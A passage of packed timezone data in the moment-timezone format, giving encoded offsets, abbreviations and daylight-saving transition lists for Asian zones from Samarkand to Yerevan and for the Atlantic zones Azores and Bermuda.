1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 2pB0 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 3rd0|58e4","Asia/Samarkand|LMT +04 +05 +06|-4r.R -40 -50 -60|01232323232323232323232|-1Pc4r.R eUor.R 23CL0 3Db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0|36e4","Asia/Seoul|LMT KST JST KST KDT KDT|-8r.Q -8u -90 -90 -a0 -9u|012343434343151515151515134343|-2um8r.Q 97XV.Q 1m1zu 6CM0 Fz0 1kN0 14n0 1kN0 14L0 1zd0 On0 69B0 2I0u OL0 1FB0 Rb0 1qN0 TX0 1tB0 TX0 1tB0 TX0 1tB0 TX0 2ap0 12FBu 11A0 1o00 11A0|23e6","Asia/Srednekolymsk|LMT +10 +11 +12|-ae.Q -a0 -b0 -c0|01232323232323232323232123232323232323232323232323232323232323232|-1Pcae.Q eUoe.Q 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|35e2","Asia/Taipei|LMT CST JST CDT|-86 -80 -90 -90|012131313131313131313131313131313131313131|-30bk6 1FDc6 joM0 1yo0 Tz0 1ip0 1jX0 1cN0 11b0 1oN0 11b0 1oN0 11b0 1oN0 11b0 10N0 1BX0 10p0 1pz0 10p0 1pz0 10p0 1db0 1dd0 1db0 1cN0 1db0 1cN0 1db0 1cN0 1db0 1BB0 ML0 1Bd0 ML0 uq10 1db0 1cN0 1db0 97B0 AL0|74e5","Asia/Tashkent|LMT +05 +06 +07|-4B.b -50 -60 -70|012323232323232323232321|-1Pc4B.b eUnB.b 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0|23e5","Asia/Tbilisi|LMT TBMT +03 +04 +05|-2X.b -2X.b -30 -40 -50|01234343434343434343434323232343434343434343434323|-3D8OX.b 1LUM0 1jUnX.b WCL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 1cK0 1cL0 1cN0 1cL0 1cN0 2pz0 1cL0 1fB0 3Nz0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 An0 Os0 WM0|11e5","Asia/Tehran|LMT TMT +0330 +0430 +04 +05|-3p.I -3p.I -3u -4u -40 -50|012345423232323232323232323232323232323232323232323232323232323232323232|-2btDp.I Llc0 1FHaT.I 1pc0 120u Rc0 XA0 Wou JX0 1dB0 1en0 pNB0 UL0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 64p0 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0|14e6","Asia/Thimphu|LMT +0530 +06|-5W.A -5u -60|012|-Su5W.A 1BGMs.A|79e3","Asia/Tokyo|LMT JST JDT|-9i.X -90 -a0|0121212121|-3jE90 2qSo0 Rc0 1lc0 14o0 1zc0 Oo0 1zc0 Oo0|38e6","Asia/Tomsk|LMT +06 +07 +08|-5D.P -60 -70 -80|0123232323232323232323212323232323232323232323212121212121212121212|-21NhD.P pxzD.P 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 co0 1bB0 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 3Qp0|10e5","Asia/Ulaanbaatar|LMT +07 +08 +09|-77.w -70 -80 -90|012323232323232323232323232323232323232323232323232|-2APH7.w 2Uko7.w cKn0 1db0 1dd0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1cL0 6hD0 11z0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 kEp0 1cJ0 1cP0 1cJ0|12e5","Asia/Ust-Nera|LMT +08 +09 +12 +11 +10|-9w.S -80 -90 -c0 -b0 -a0|012343434343434343434345434343434343434343434343434343434343434345|-21Q9w.S pApw.S 23CL0 1d90 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 17V0 7zD0|65e2","Asia/Vladivostok|LMT +09 +10 +11|-8L.v -90 -a0 -b0|01232323232323232323232123232323232323232323232323232323232323232|-1SJIL.v itXL.v 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|60e4","Asia/Yakutsk|LMT +08 +09 +10|-8C.W -80 -90 -a0|01232323232323232323232123232323232323232323232323232323232323232|-21Q8C.W pAoC.W 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|28e4","Asia/Yekaterinburg|LMT PMT +04 +05 +06|-42.x -3J.5 -40 -50 -60|012343434343434343434343234343434343434343434343434343434343434343|-2ag42.x 7mQh.s qBvJ.5 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|14e5","Asia/Yerevan|LMT +03 +04 +05|-2W -30 -40 -50|0123232323232323232323212121212323232323232323232323232323232|-1Pc2W 1jUnW WCL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 4RX0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|13e5","Atlantic/Azores|LMT HMT -02 -01 +00 WET|1G.E 1S.w 20 10 0 0|01232323232323232323232323232323232323232323234323432343234323232323232323232323232323232323232323232343434343434343434343434343434345434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343|-3tomh.k 18aoh.k aPX0 Sp0 LX0 1vc0 Tc0 1uM0 SM0 1vc0 Tc0 1vc0 SM0 1vc0 6600 1co0 3E00 17c0 1fA0 1a00 1io0 1a00 1io0 17c0 3I00 17c0 1cM0 1cM0 3Fc0 1cM0 1a00 1fA0 1io0 17c0 1cM0 1cM0 1a00 1fA0 1io0 1qM0 Dc0 1tA0 1cM0 1dc0 1400 gL0 IM0 s10 U00 dX0 Rc0 pd0 Rc0 gL0 Oo0 pd0 Rc0 gL0 Oo0 pd0 14o0 1cM0 1cP0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 qIl0 1cM0 1fA0 1cM0 1cM0 1cN0 1cL0 1cN0 1cM0 1cM0 1cM0 1cM0 1cN0 1cL0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cL0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|25e4","Atlantic/Bermuda|LMT BMT BST AST ADT|4j.i 4j.i 3j.i 40 30|0121213434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343|-3eLvE.G 16mo0 1bb0 1i10 11X0 ru30 thbE.G 1PX0 11B0 1tz0 Rd0 1zb0 Op0 1zb0 3I10 Lz0 1EN0 FX0 1HB0 FX0 1Kp0 Db0 1Kp0 Db0 1Kp0 FX0 93d0 11z0 GAp0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 